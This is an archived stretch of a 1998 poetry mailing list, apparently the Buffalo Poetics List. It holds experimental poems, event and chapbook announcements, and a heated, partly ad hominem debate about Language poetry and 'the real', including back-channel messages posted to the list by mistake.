caul, cowl, wimple

/dev/null fur tha choldrin
/dev/null fur tha choldrin

torid frum shoftid sends end pusotouns
tarnid tuwerds cuul pegis end grephocs
duong thi wurk end brongong thi gorl
tu thi frunt uf thi thietir frum thi beck uf thi thietir
elung woth thi buy frum binieth thi fluur
tu thi tup uf thi fluur duwn thi hied uf thi steors
whiri fluwirs eri cerroid tu ell thi stegi curnirs
end plecid on diip sheduws uf meonly bleck rusis
ceaght shoftong pusotouns es lonks tarnid end shettirid
end driems wurkid herd et brongong thi gorl on
tu thi loght frum thi derkniss wholi o lovid on thi derkniss
thi buy uf thi budy on thi derkniss uf fluwirs
end sends siipong duwn binieth thi drewn carteons
clusong on un thi stegi whiri thi sheduws uf choldrin
ran herd ontu sheduws uf uthir tarnid choldrin
wholi thi pegi clockid pusotouns end shoftid ots lengaegi
es lonks fulluwid lonks end thi cuul carten upinid

Sat Nov 14 02:47:29 EST 1998 and Sat Nov 14 02:47:33 EST 1998 or Sat Nov 14 02:47:35 EST 1998 and Sat Nov 14 02:47:38 EST 1998 if Sat Nov 14

02:47:41 EST 1998 or Sat Nov 14 02:47:43 EST 1998 and Sat Nov 14 02:47:45 EST 1998 or burn the bairn darkly the cool curtain opened

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394. **miekal and**
y2k pedagogy
Sat 14 Nov 1998

splinter groups
activate networks

↑ Index

395. **Marcella Durand**
more operations
Sat 14 Nov 1998

Thanks Hoa--

Yes, upon reading this whole thread, I was thinking of how toxic waste dumps & other environmental horrors are regularly placed in african-american areas-community-towns, creating cancer clusters and in some cases, ghost towns. An issue of "E" magazine a couple of months ago documents this quite extensively if anyone needs outside proof. These dumps are created with local gov't approval.

For a local (well, NYC) battle, check out Red Hook, where inhabitants are battling yet another incinerator. Also, the Harlem sewage plant, oh, um, "park"

↑ Index

396. **Dale Smith**
The Real and the Social
Sat 14 Nov 1998

"Words are what sticks to the real. We use them to push the real, to drag the real into the poem. They are what we hold on with, nothing else. They are as valuable in themselves as rope with nothing to be tied to. . . ."

. . . Says Spicer. Language reveals the "real." It reveals "us," the writer. Spicer suggests here revelation rather than description or explanation. If Langpo takes anything from Spicer, it is like forcing squares into circles. . .

Stroffolino's post the other day encouraged a lot of talk about the elders. Mark Wallace's even-headed post was encouraging and insightful. And yes, I acknowledge the work done by Bernstein, Silliman, Hejinian, et. al. But work alone does

not demand respect. Ultimately, it's the poem that counts, and anyone should challenge a poetics that divorces the "real" from the word and then draws on Spicer's beautiful energy as another instrument to justify a bankrupt project. Bankrupt? I guess that depends. There are other complex elements at work here, and I certainly will contradict myself by saying that Langpo does offer some very necessary critiques of the relationship of language to power. But on the whole, Langpo does not "make it new" to borrow Pound's phrase. Its roots are in NY School and Black Mountain avant garde's of the 60's. Langpo simply materialized the subject matter. None of the weird Jungian mythos. No Spirit, no Archers, Water-bearers or Rams. Instead of cosmology, the social is the only given reality. Proof is truth. Empiricism. None of the weird Neo-Platonic reality of the "real."

And today I realize that Pound's demand that we make poetry "new" is a dead concept. Young poets should not be held to an outdated Modernist standard. In fact, Make it Old. Respond to the pressures that face us today, not to the limiting baggage of a 60's materialism. Revelation anyway is always new, whatever the means of its evocation. Words have power when connected to the varied energies an Ancient would have known as a god.

Agaom, Spicer says this below. He wasn't a language poet. I don't think...

"I would like to point to the real, disclose it, to make a poem that has no sound in it but the pointing of a finger . . . to make things visible rather than to make pictures of them . . . not as an image or a picture but as something alive -- caught forever in the structure of words"

And having said this I know there are others, many others, who don't think of poetry in the way I am suggesting. Chain's poetics (not to pick on that much-maligned zine) is admittedly not interested in a good Poem, with a capital P. Many of the works in the most recent issue juxtapose senses of social reality through various aesthetic formal mutations. But the majority of those pieces describe or explain. I'm sure there are some pieces that will contradict what I'm saying, but there is no revelation in Chain. I think I can say that. The 'social' is investigated at the expense of revealing the 'real.'

Okay. Enough of that. Not to convert anyone, god forbid. But to spit it

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397. BETSY ANDREWS
Re: hello, people in d.c.
Sat 14 Nov 1998

I know Allison Cobb's work quite well. She's definately worth hearing.

> From: joel lewis <[redacted]>
> To: [redacted]
> Subject: hello, people in d.c.
> Date: Saturday, November 14, 1998 12:34 AM
>
> Yes, i will be leaving my post in new jersey to give a reading this
> sunday(november 15th) @ 3pm at the "in your ear series" at the d.c. arts
> center, 24 38 18th St NW in Adams Morgan. in your ear" reading series at
> the DC
> arts center. I'll reading with two DC poets, Allison Cobb and Ethan
> Fugate.
>
> as they say, "hope to see you there"
>
> joel lewis

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398. david bromige
the real; or, Dale's real
Sat 14 Nov 1998

Real is also a word. The real is also a piece of language, and is always a version. Real is the word where his mother held on as she dipped him in the river. Aporia is synonymn for real. Aporeal. Real is a baseball bat to beat the others, all the others, with. A flag planted in a hill of corpses, that is the real. Real as in really impressive or Really an idiot? They are really dead. Really in Heaven. Really among the Muslim blest. Really in Bardo.

When Theodore Thoroughgood spotted Serena Rapt at a poetry reading, he came up to her and told her, 'You know, it really meant a lot to me, that time Allen and you and me went to bed together. It was a real revelation.' In reporting this to me, Serena, now 51, added, 'I was just a confused girl of 17 at the time. What does he think he's talking about?' Theodore, one of America's major poets.

When one asks what the real roots of Language writing really are, and comes up with the New American Poetry in order to make a real that invalidates real

innovation on the part of the former, one really ought to extend the thought and ask what the roots of the New American Poetry were, and surely some real answers would be Williams, H.D., Pound, Apollinaire, Raymond Rousell, Rilke, Whitehead, Koehler, Sauer....Which eminences in their turn had their derivations--which, if they invalidate one generation, should invalidate all. Really!

And if it be realler to scorn 'make it new' nevertheless if a poem only repeat what has been done before word-for-word will it hold our attention? Really?

I would really rather be getting these lectures straight from Tom Clark his really eminent self than from a really rather inchoate disciple. Couldn't you get Tom to post us a few, Dale, while you take time out to continue digesting his cooking? Tom is a real journalist and can opinionate so that I know what I find disagreeable about his opinions. You go all over the place and about all I can discern is the closed mind with which you started out. Really.

Dad.

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399. **Karen Kelley**
Re: The Real and the Social
Sat 14 Nov 1998

I didn't realize one of our younger poets had figured out what the real is--and after all us old poets figured it couldn't be summed up so simply. Kudos.

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400. **A. Jenn Sondheim**
credo
Sat 14 Nov 1998

-

credo

I could write this turning alphabet around, b for a, a for b, or back- wards, or through other local or global substitutions, perhaps there'd be new sounds out of old, swarms of sado-masochisms governing unwieldy words. or blanks, moments of silence to be filled in, or other conundrums. then there might be numbers and I'd think about teaching the shape of the world. and I'd worry into what it all means, the teaching, the shape of the world, the substitutions, the sado-masochisms. a rift would open and here I'd further insert myself, slowly, so as not to break or abrade the skin. in the rift I'd begin to write, hands somewhat over my head; every- thing has to fit. it would be a piece about the meaning, and this would be the result. so this is a text of the would-be, and not what

you are read- ing, but what you would be reading, and this would-be relates to the mean- ing, but not to the shape of the world, or rather, it is only of the world and its shape.

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401. **Dale Smith**
Dad
Sat 14 Nov 1998

David, check it out. There are others, besides Tom Clark, who actually think about the poem in ways that are disagreeable to you, really. I'm giving my opinions. Joe Safdie is some one else on this list who shares some of them. He's more patient in his articulation than I am at times, more clear. Tom would think I'm much too generous and too far off the path on the subject of revelation and poetics, I'm sure. He'd think I should call you an old foagy. For me, what is at issue, is fundamental, and should be discussed, and not poo-pooed away. Not to deny the position of a materialist poetics, but to question it, so that as practioners of this craft we can articulate our motiviations to one another. This is a public domain. So, sometimes I sound like a fool, as I am want, in public. I don't care. But I can only take a comparison to TC, although you mean to in a chastizing manner, as a compliment. You ol

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402. **Mark DuCharme**
Re: fuming
Sat 14 Nov 1998

Although I did feel the tone of Chris's post was over the line, I have to agree with Mark Wallace here (as, I think, Mark Prejsnar probably would). It seems to me that what Ron & other Language Poets did in part was precisely to choose not to extend the poetics of their immediate predecessors. One can argue whether this was a good thing or not, but obviously it was one of the things that pissed off a lot of those same poetic predecessors about the language "project." Obviously many of the poets of the generation to which Chris, Mark, Mark & I belong are fairly sympathetic to the poetics of Silliman & others in the language camp-- while reserving for ourselves the right to be something other than "recruits." To whatever extent Ron disapproves, if it's true, I think that's ironic, & I think it's too bad. Then again, I've seen that sort of attitude coming

from elder poets of very different aesthetics than Ron's-- I don't think it's anything unique to Langpo or to Ron.

Mark DuCharme

> Hey there:
>
> Well, I guess I've got to pitch in for Chris Stroffolino this time
>around, albeit it may be true that the tone Chris was after maybe didn't
>quite get over to the virtual page. But I suppose my problem is less with
>the idea of Charles, Ron and Lee Ann and whoever having an understanding
>of "community" but with the implication of Mark Prejsnar's statement that
>what Ron is looking further is a "further extension of the poetics and
>program of his generation, etc"--Mark, I'm quoting you badly here, not
>having the original in front of me, but I think that's the gist of what
>you said, and I think therein lies the problem. All of Ron's commentary
>(see for instance the recent Philly Talks exchange, for instance) always
>returns to the same problem--that the model that he and others followed
>has NOT be taken up by the writers who came after, and that somehow that
>is a grave failing. Now, I like Ron's poetry and much of his criticism a
>great deal, but the idea that his work should be the model for future
>generations of poets (and that any who don't follow his model have failed)
>seems presumtuous to say the least, and may I venture to say so, the sort
>of Marxist paternalism that at this point in time seems one of the great
>weaknesses of the "language poetry" project as Ron has conceived of it
>(and I'll add, by the way, that other "language poets" have NOT
>necessarily so conceived of it, that is to say, Ron's sense of what
>"language poetry" was about by no means needs to be taken as everybody's
>sense of what it was about). I appreciate Ron's ability to serve as a
>useful goad, and will even concede that goading is a pretty important
>function of criticism, although in this instance the "conformity or

>punishment" implications seem to me the problem rather than the solution.
>But indeed, it is true, recent work has NOT "further extended the poetics
>of Ron Silliman." But that fact seems to me at this point STILL a positive
>development--while at the same time I admire Ron's poetry.
>
> So Chris, rave on baby.
>
> Mark Wallace
>
>
>/----------\
>|
|
>| [redacted]
|
>| GWU:
|
>| http://gwis2.circ.gwu.edu/~mdw
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>| EPC:
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>| http://writing.upenn.edu/epc/authors/wallace
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403. **michael corbin**
Re: fuming
Sat 14 Nov 1998

> *So it fires.*
> *So it doesn't goad*
>
> *responding /// "Community" remains a vaguely defined word….*

History is hard. Particularly the dialectical materialist kind.

And you add to it the desire for an aesthetic truth telling. As opposition. From the (his) day job.

Like (it) life matter'd, being down with the poetic struggle. And all that.

So you pusch people away, even when it means risking being alone.

Or the folie a deux.communitee

But then, you are being service'd. By poetree. In the service of. Salute.

In goading there is hope.

And may be that is being.

mc

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<BLOCKQUOTE TYPE=CITE>
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<BLOCKQUOTE TYPE=CITE>
<PRE> So it   fires.   So it doesn't goad </PRE>
</BLOCKQUOTE>

<BLOCKQUOTE TYPE=CITE>
<PRE>responding /// "Community" remains a vaguely defined word....</PRE>
</BLOCKQUOTE>

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<P>And you add to it the desire for an aesthetic truth telling. As opposition. >From the (his) day job.

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<P>So you pusch people away, even when it means risking being alone.

<P>Or the folie a deux.communitee

<P>But then, you are being service'd. By poetree. In the service of. Salute.

<P>In goading there is hope.

<P>And may be that is being.

<P>mc

 </HTML>

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404. Hank Lazer
e-address?
Sun 15 Nov 1998

Does anyone have a current e-mail address (or ground mail address) for Laura Moriarity? Please back-channel. Thanks.

Hank Lazer
[redacted]

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405. A. Jenn Sondheim
file (fwd)
Sun 15 Nov 1998

-

  1 the shape of the world

 18 start here
 35 you see only what is early
 52 start here
 69 from any direction on the disk, indexed to any other
 86 encased between numerical header and the end-of-file sign
103 start here
120 which may wrap around, or how does it jump from one to the other
137 if not indexed
154 start here all at once, jennifer has all the time in the world
171 start here, where the space spans an inch
188 more or less, where the head resides, gone now
205 start here, where the head appears
222 you see only what is early
239 index! index!
256 start here

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406. **Dale Smith**

Re: The Real and the Social

Sun 15 Nov 1998

Joe, Hi... I turned 31 on Nov 3rd. This whole "older poets/younger poets" thing is such bullshit. I have affinities for certain people's work or being and I gravitate towards them. Some one older than me has been working at poetry longer than me and knows some things I don't. But on the list this dichotomy is set up like a god-given category. It's such a drag. Bromige and a few others can't understand why the young don't worship them. It's because, to me, they're drips.

And Bromige, Jeez, I know. Where did that blast come from? I contacted him backchannel last summer asking if I could reprint something he said on the list (I was only kidding, goading him a little bit due to a Kent Johnson thread then going on). He replied, without irony and very serious, that I could publish whatever I'd like if I aplogized to the List for calling him a coward in a post last winter! I wrote him back and said something like, But David, you are a coward. Then, talking to Irby a few weeks later, I felt I was beeing a jerk, contacted him and tried to make ammends. I guess it didn't work.

I will send Hoa's book this week. I thought you had a copy already. Don't worry about the money. Just have Ellis send me your chapbook when it's done, or any other book you may have...

Well, I'm working this weekend and should go. I did join the Pound List, but there's not much going on. I get the Poetics List in Digest now, so it's not as obsessive and time consuming. And yes. Olson and the cosmos. What else is there but Everything. Henri Corbin, I'm sure you know, goes straight to the heart of that invisible angelogy.

Okay, I really must go. Thanks for the kind note. Hope all's well,

Dale

> >Hey, youngster! (How old are you, anyway?) Good to hear from you about these
>
> >topics. Where is it that Olson says "I find the current substitution of the
>
> >Social for the Cosmos repellent" (or something like that). I live by those
>
> *words!*

>Was your first post before this one directed to Bromige alone? Did he send

>you some sort of denigrating post comparing you to Tom? What an asshole! I

>mean, I like when he's clever as much as anyone else, but he really has his

> *head up his ass!*

>Is there anyway I can get Hoa's book that has been praised so highly lately?

> *I'll even pay for it!*
>
> *Still wanting to see "Happiness" -- I'll get to it eventually . . .*

>Wet, soggy, disgusting here -- but you've had your share of weather this

> *year, I know!*
>
> *Best,*
>
> *Joe*
>
> ———
>
> *"Words are what sticks to the real. We use them to push the real, to drag the real into the poem. They are what we hold on with, nothing else. They are as valuable in themselves as rope with nothing to be tied to. . . ."*
>
> *. . . Says Spicer. Language reveals the "real." It reveals "us," the writer. Spicer suggests here revelation rather than description or explanation. If Langpo takes anything from Spicer, it is like forcing squares into circles. . .*

Stroffolino's post the other day encouraged a lot of talk about the elders. Mark Wallace's even-headed post was encouraging and insightful. And yes, I acknowledge the work done by Bernstein, Silliman, Hejinian, et. al. But work alone does not demand respect. Ultimately, it's the poem that counts, and anyone should challenge a poetics that divorces the "real" from the word and then draws on Spicer's beautiful energy as another instrument to justify a bankrupt project. Bankrupt? I guess that depends. There are other complex elements at work here, and I certainly will contradict myself by saying that Langpo does offer some very necessary critiques of the relationship of language to power. But on the whole, Langpo does not "make it new" to borrow Pound's phrase. Its roots are in NY School and Black Mountain avant garde's of the 60's. Langpo simply materialized the subject matter. None of the weird Jungian mythos. No Spirit, no Archers, Water-bearers or Rams. Instead of cosmology, the social is the only given reality. Proof is truth. Empiricism. None of the weird Neo-Platonic reality of the "real."

And today I realize that Pound's demand that we make poetry "new" is a dead concept. Young poets should not be held to an outdated Modernist standard. In fact, Make it Old. Respond to the pressures that face us today, not to the limiting baggage of a 60's materialism. Revelation anyway is always new, whatever the means of its evocation. Words have power when connected to the varied energies an Ancient would have known as a god.

Agaom, Spicer says this below. He wasn't a language poet. I don't think...

"I would like to point to the real, disclose it, to make a poem that has no sound in it but the pointing of a finger . . . to make things visible rather than to make pictures of them . . . not as an image or

> *a picture but as something alive -- caught forever in the structure of words"*
>
> *And having said this I know there are others, many others, who don't think of poetry in the way I am suggesting. Chain's poetics (not to pick on that much-maligned zine) is admittedly not interested in a good Poem, with a capital P. Many of the works in the most recent issue juxtapose senses of social reality through various aesthetic formal mutations. But the majority of those pieces describe or explain. I'm sure there are some pieces that will contradict what I'm saying, but there is no revelation in Chain. I think I can say that. The 'social' is investigated at the expense of revealing the 'real.'*
>
> *Okay. Enough of that. Not to convert anyone, god forbid. But to spit it*
>
> ---
>
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407. **Dale Smith**

Oops

Sun 15 Nov 1998

Big Back-Channel Mistake. Whew.

But while I'm at it I would re-emphasize how ridiculous the Older/Younger categories are. Any category, for that matter.

On another note, Bromige mentioned Sauer in a note yesterday. His studies in 16th century North American Explorations are probably some of the best works written on the subject. He compares 16th c. relations of the New World and compares the word with the physical geography of the land as it is found today. He is a lucid writer and very exact and empirical in his study. He is a rationalist and a scientist.

But to understand something like Cabeza de Vaca's experience and transformation in the Southewestern United States, you have to find other measures in addition to the erudite and revealing Sauer. Beatriz Pastor and Rolanda Adorno offer some solid, structural critiques. Haniel Long wrote a sympathetic treatment of de Vaca's spiritual transformation. Williams offers his version of Encounter in his wonderful book, I'm sure you all know, In The American Grain. That kind of imaginative projection is ultimately a way of locating the "real." Looking at something from all sides rather than from the accepted version of "reality." And the study of Encounter narratives by alien intruders is very interesting because so much of what we think we know is complicated by the circumstances of 16th c. Eurpopean religious and philosophical assumptions transposed onto a region that speaks another language entirely, sees the world differently.

So, yes, thanks David for mentioning Sauer. He is one of the great luminaries I rarely hear anyone speak about...

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408. KENT JOHNSON
Re: The Real and the Social
Sun 15 Nov 1998

The surprise 40th B-day party for my wife was a success!

David Bromige's reply to Dale Smith is suprisingly unsuccessful. It starts off with a typically thrilling Bromigean whoosh, proposing wonderfully clever and impressive things about language and the Real, goes on to make a fairly compelling case for poetic rupture as the deep thread of tradition and continuity within the poetics of linguistic rapture, and ends with an ad hominem barrage in the holiday spirit of imperial hypocrites sliming away about weapons of mass destruction. Which is not to say that I am comparing David to Clinton and Dale to Saddam, because I'm not.

By the way, did anyone see the big article in the NYT yesterday about the hullabaloo at the Academy of American Poets? Really interesting.

Anyway, back to the point of my post: I, for the record, completely disagree with David's comments about Dale. In fact, I would like to say that I don't know what the bloody hell DB is blabbering about there at the end. Dale is not "inchoate," he's contentious and candid in his critiques when he makes them. I find myself often disagreeing with him and sometimes a lot, but also almost always impressed by his intelligence and grateful for the spots of turbulence his

posts can provide-- for sometimes the ride gets featureless and boring. (Spots of turbulence like in the feisty spunk of his hip magazine-- to which, having said that it's hip, I promise before you all to never submit my work so that you will see I am not sucking up.)

There's no need to answer dissenting voices on this List with such grim outbursts as David's, even if David is (really) more learned than most of us and even if it _were_ true that Tom Clark had successfully infiltrated the List via ventriloquized acolytes. If anything, I think that when reactions like David's come, they betray that a kind of nerve has been plucked. Don't you?

Kent

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409. **John Cayley**
FROM: Enzo Minarelli
Sun 15 Nov 1998

Date: Sat, 14 Nov 1998 21:33:33 +0100
From: Enzo Minarelli <[redacted]>

VIDEO SOUND POETRY FESTIVAL

III INTERNATIONAL MEETING of VIDEOPOETRY RESEARCH

Archivio 3ViTre di Polipoesia
Link project

Link, via Fioravanti 14, Bologna
9-10 december 1998

two nights of official program
CD-Rom
Web Site http://www.iii.it/3ViTre - News Group
One-man videoshows Richard Kostelanetz and Klaus Peter Dencker pioneers of videopoetry research
videoperformance-videopoesia ad libitum
workshop
sound environment
Official list: videoselection
(Vpoe-Videopoetry) (Vperf-Videoperformance)

1 Akenaton “Poème numeriques”, 15’, 1997, Ajaccio, France. (Vpoe)
2 Mark Sutherland “tvi (a video/poetry book)” 30’, 1994, Toronto, Canada. (Vpoe)
3 Dmitry Bulatov “Russian Folk Noism Fables” {S=(n*&)}, 5’13”-4’09”, 1993-95, Kaliningrad, Russia. (Vpoe)

4 Ginestra Calzolari “Rousing”, 3’, 1997, Bologna, Italy. (Vperf)
5 Fatmi Mounir “Deux poèmes pour mourir” 18’, 1997, Rabat, Morocco. (Vpoe)
6 Xavier Sabater “Cristo y tres tiros”, 6’, 1992, Barcelona, Spain. (Vpoe)
7 Jurgen Olbrich “O ton - Monolog für die kunst” 18’, 1987, Kassel, Germany. (Vpoe)
8 Anna Homler “Pharmacia Poetica” 5’, 1992, Los Angeles, U.S.A.. (Vpoe)

9 Nobuo Kubota “N.K. at the Western Front”, 20’, 1990, Toronto, Canada.

(Vperf) 10 Magnús Palsson “Eye talk” 20’, 1998, Reykjavik, Iceland. (Vpoe) 11 Fabio Doctorovich “Aswtz” 3’, 1997, Buenos Aires, Argentina. (Vpoe) 12 Eduardo Kac “Reversed Mirror” 7’, 1996, Chicago, U.S.A.. (Vpoe) 13 Philadelpho Menezes “Nomi impropri”, 2’30”, 1996-97, São Paulo, Brazil. (Vpoe)

Videoperformance list /videopoesia ad libitum:

1 Giovanna Colacevich “Omaggio a Kafka” 30’, 1997, Roma, Italy. (Vperf)
2 Zoro Babel/Niki Bell “Im Gegenteil” 30’, 1997, Munich, Germany. (Vperf)
3 Fernando Aguiar “Manipula(c)ção” 18’, 1994, NASA, Santiago de Compostela, Spagna-Lisbona, Portugal. (Vperf)
4 Rod Summers “It’s a secret” 6’12”,1998, Maastricht, Holland. (Vpoe)
5 Giancarlo Pavanello “Poesia Critica” 11’, 1996-97, Milano, Italy. (Vpoe)
6 Joel Hubaut “Strip-tease color” 25’, 1997, Hérouville, France. (Vperf)
7 Paul Dutton “P.D. at C.u.b.a.-Cultur Münster”, 60’, 1994, Toronto, Canada. (Vperf)
8 Corrado Cicciarelli “Ombre” 4’,1997, Genova, Italy. (Vpoe)
9 Mauro Dal Fior “Suite not for Cage” 21’, 1997, Verona, Italy. (Vperf)
10 Endre Szkaorsi “Funeral oration” 5’12”, 1993, Budapest, Hungary. (Vpoe)
11 Démosthène Agrafiotis “24, Pidéo-Voésie” 20’, 1993, Atene, Greece. (Vpoe)
12 Rita degli Esposti-John Gian “Poesia Totale”, 31’, 1997, Locarno, Switzerland. (Vperf)

Special effects inside the ad libitum section:

1 Kirstern Justesen (Denmark)
“TV-Presentations” 60’ 1985-96 / “Ice Walk” 30’, 1992, Copenaghen. (Vperf)

2 Clemente Padin (Uruguay)
“No estan muertos....” 15’, 1996, Santiago del Cile, Cile. (Vperf)
“Missing Miss” 5’, 1993, Montevideo, Uruguay. (Vperf)

3 Sarenco, Tot Brossa, Verona, 40’, 1997-98. (Vperf)

4 Eric Andersen (Denmark)
“Opus 1961” 52’, 1997-98 Queensland Art Gallery, Australia. (Vperf)

5 Mexican videopoetry edited by Araceli Zuñiga (Mexico)
* Eduardo M. Vélez ‘Nao’ 3’, ‘Lup’ 3’, ‘Zap’ 3’, Mexico City, 1998.
* Juan José Díaz Infante ‘Música de Cámara’ 27’, Mexico City, 1998.
* Ximena Cuevas ‘Para quererte’ 3’ - ‘Corazón’ sangrante’, 3’, Mexico City 1998.
* Angel Cosmos ‘Popfnetic’, 3’, Mexico City, 1993.
* Antonio del Rivero ‘Icono’, 3’, Mexico City, 1998.
* Marisa Boullosa ‘Poema de Joan Brossa’, 3’, Barcelona, 1998.
* Pilar Rodríguez ‘Ella es frontera’ 25’ - ‘La idea que habitamos’ 18’, Mexico City, 1998.
* Cristina Casanova Seuma ‘Argument’, 2’, Barcelona, 1997.

CD-Roms’ spot

1 CD-Rom ALIRE, Doc(k)s 1997, France. (Vpoe)

2 Komninos Zervos “Cyberpoetry Underground” 1997, London-England/Queesland-Australia.

3 Philadelpho Menezes-Wilton Azevedo “InterPoesia”, 1997, PUC, São Paulo, Brazil.

4 International Anthology of Digital Poetry edited by Eduardo Kac, 1996-97 New Media Editions, Chicago, U.S.A..

“ PIONEERS OF THE VIDEOPOETRY RESEARCH”
One-man videoshosw
Richard Kostelanetz (U.S.A.)
Klaus Peter Dencker (Germany)

Richard Kostelanetz (U.S.A.)
“Onomatopoeia” 22’, 1990, New York, U.S.A.. (Vpoe)
“Invocations” 61’, 1988, New York-Stockolm, U.S.A.-Sweden. (Vpoe)

Klaus Peter Dencker (Germany)
“Raush” 8’11”, 1970-71, SWF, Saarbrucken. (Vpoe)
“Starfighter” 4’27”, 1970-71, SWF, Saarbrucken. (Vpoe)
“Astronaut” 4’02”, 1970-71, SWF, Saarbrucken. (Vpoe)

VIDEO-SONIC ENVIRONMENT
UNA TANTUM

Luca Patella
“Quel che muta, riposa - è fatica seguire gli stessi ed esserne guidati”,
1997, Rome, Italy.

Workshops about/into/with/for/between/ VIDEOPOETRY
by Archivio 3Vitre di Polipoesia

*Analysis-showing of videopoems
*How to produce a videopoem
*Storyboards of videopoems
*The passage from a written-sound poem to videopoetry
*Videopoetry theory

--
Archivio 3ViTre di Polipoesia
Enzo Minarelli
c.p.152 44042 Cento Italia
ph.fax [redacted]
cellulare 0[redacted]
email: [redacted]
http://www.iii.it/3vitre

Eduardo Kac
Assistant Professor of Art and Technology
Art and Technology Department
The School of the Art Institute of Chicago
112 S. Michigan Avenue, Room 414
Chicago IL 60603
Phone: [redacted]
Fax: [redacted]
E-mail: [redacted]

http://www.ekac.org

↑ Index

410. david bromige
Re : Dale's real
Sun 15 Nov 1998

Dear Frances, I am engaged in a discussion of the term "real" on the Buffalo List. A snotnose named Dale Smith who worships Tom Clark has troubled the list before with halfbaked notions, and this time he writes in claiming a grasp of the real that nullifies those of a number of others.Basically, I wrote in saying Draw a circle inside the real. Then call whats inside, the real, and whats outside, the false real. Everybody does this but some of us dont forget the steps.

But he doesnt understand how to debate ideas. He is ad hominem. He only grasps affinities. He thinks I challenge him because I dislike him. Well, he was rude to me--quite unprovoked by me--from the start. But I have tried hard to keep the focus each time on the issue, not the personality. What I challenge are his presentations of certain ideas. I guess he just doesnt have the education to grasp this (he studied with Tom Clark at New College). And of course, baffled as to how to rebut, he calls me rude names in the most childish fashion. Several folk have b-c'd to say they believe he's abusing alchohol. he writes like he is. But perhaps that's just natural talent. I really dont think we're going to see poetry coming out of a mind as closed as his.

His poetic model seems to be poet-as-bad-boy-bandito, for instance he steals text from the I'net w/o permish, flares up when challenged, lies for the hell of it (he admitted on the List that he solicited work from me but didnt mean it), and gets his friends in trouble (he posted to the list something by a chum of his and ours , Joe Safdie, that I expect Joe would sooner have kept private). He is so like Tom in other ways, too (we recall how Tom got Bob Grenier in trouble by publishing a private remark)--you will recall that Tom never replied to my point-by-point deconstruction of his would-be assassination of Langpoets espec Barrett in Poetry Flash in 85). He writes that on the topic I have my head up my ass but as I will tell him, thats the place to find this topic. Hasta la Vista, Dave.

Oops!

↑ Index

411. david bromige
plucking kent's nerve
Sun 15 Nov 1998

I agree with Kent that the first part of my letter is superior to the last part. If memory serves him aright, he will recall Dale began ad hominem with me some months ago.* . At least I laid out my argument before turning to the inchoateness of Dale's writing (and is this to be ad hominem?). I think it inchoate to

address the matter of the real w/o taking into account the simplest problems, which was why I addressd this issue in my response. Yes, when definitions of the real appear, here or elsewhere, a nerve of interest is always plucked chez moi. Et tu, Kent?--or are you plucked into song by personality clashes?

Btw, neither am I drawing a comparison between me and Clinton, and Dale and Saddam. Nor do I think Kent is anything like Jack Spicer. Really. Nor Hen ry Kissinger. Not the least bit. David

* and now we have the transparent oops i meant to b-c this as furthering his ad hominem attacks. hence my answer in kind.

↑ Index

412. **Jay Schwartz**
Re: apologies
Sun 15 Nov 1998

Can you please take this personal battle off the List to the tidewaters of the backchannel????

↑ Index

413. **david bromige**
apologies
Sun 15 Nov 1998

I see it was Joe Safdie who said I had my head up my asshole, not Dale. Dale said I was a coward and a drip. I hear they are both graduating middle school next spring. David

↑ Index

414. **Safdie Joseph**
Re: apologies
Sun 15 Nov 1998

This is the second time in the last two months that some ill-considered remarks of mine meant to be private have been inadvertently broadcast to the list as a whole, causing me extreme embarrassment and very probably the ill-will and enmity for all time of the individuals involved.

All e-mail is of course potentially public property, and I would warn anyone on this list or others of that one unassailable fact.

I'd like to state publicly, as I have privately, that David Bromige's accomplishments in the poetry world are immense, and that the great majority of his posts on this list have been the occasion of great delight.

I'm going off the list for an extended period of time. I'd appreciate hearing from anyone backchannel ([redacted]) about any subjects that may be of mutual poetic interest. Happily or sadly, most people now know what those are.

Joe Safdie

↑ Index

415. MAYHEW
inchoate
Sun 15 Nov 1998

Maybe I'm cynical but I'm suspicious of "accidental" front channeling of ad hominem attacks. I will never apologize for an opinion that was accidentally broadcast by someone else. If it is yr opinion stand by it, however crudely expressed.

Dale's writing is indeed inchoate; for example he chastizes the Language Poets for failing to make it new, then in the next paragraph decides that this demand for novelty is not such a good idea after all. He pretends to respect poets, then says their project is bankrupt, because it neglects the "poem."

Jonathan

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416. Max Winter
a quote
Sun 15 Nov 1998

"We keep coming back and coming back
To the real: to the hotel instead of the hymns
That fall upon it out of the wind. We seek

The poem of pure reality, untouched
By trope or deviation, straight to the word,
Straight to the transfixing object, to the object

At the exactest point at which it is itself,
Transfixing by being purely what it is..."

w. stevens, "An Ordinary Evening in New Haven"

↑ Index

417. Katherine Lederer
A Spectacular Chapbook by Juliana Spahr
Sun 15 Nov 1998

Announcing the publication of

S P I D E R W A S P O R L I T E R A R Y C R I T I C I S M

by Juliana Spahr

From the introduction:

In 1986 Ron Silliman's pivotal anthology In the American Tree has an introduction that begins, "'I HATE SPEECH.' Thus capitalized, these words in an essay entitled 'On Speech,' the second of five short critical pieces by Robert Grenier in the first issue of This, the magazine he cofounded with Barrett Watten in winter, 1971, announced a breach--a new moment in American writing" (xv).

In 1996 Bob Perelman notes that the phrase, "in hindsight, was an important literary gesture ... important in its positing of literary space."

I don't want to make too much of these isolated moments other than to use them as indicators of how the critical discussion about contemporary poetry uses a rhetoric of categorization and separation whether by editors of anthologies or by critic-participants. Contemporary poetry is presented again and again as a series of separate and distinct subcultures. Both these examples are creation myths that literalize the name avant-garde. [....]

The essay goes on to disuss writings by, among others, Lisa Jarnot, Jena Osman, and Joan Retallack.

* * *

S P I D E R W A S P O R L I T E R A R Y C R I T I C I S M is the second in the Spectacular Chapbooks Series. The first is S O N G S & S C O R E S by Tina Celona. Complete with pretty-paper covers, each sells for $6.

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Signed and numbered sets are available: $50 for the series, which will consist of ten editions when complete. (International orders: include $1 postage per book/ $5 for sets)

↑ Index

418. Michael W Bibby
black british poetry
Sun 15 Nov 1998

---

some students in my contemporary lit seminar want to do their research papers on black british poetry, esp. dub poetry (e.g., Linton Kwesi Johnson and Jean "Binta" Breeze)--i've referred them to articles by Alastair Niven, Fred D'Aguiar, and Patrica Waugh, and Anne Walmsey's book on the Carribean Artists Movement--anyone on the list have other references i could turn them on to?

thanks!

Michael Bibby
Department of English
Shippensburg University
1871 Old Main Drive
Shippensburg, PA 17257
[redacted]

↑ Index

419. Todd Baron /*/ ReMap
grow DOWN
Mon 16 Nov 1998

---

an older poet once said "some
day, too, you'll
be an older poet"

Big Deal!

I leave for two days and come back to a battle that sounds more likely to be at home on TV than on the list--and to some 110 messages!

Grow UP!

Todd Baron
(remap)

↑ Index

420. david bromige
re : fuming
Mon 16 Nov 1998

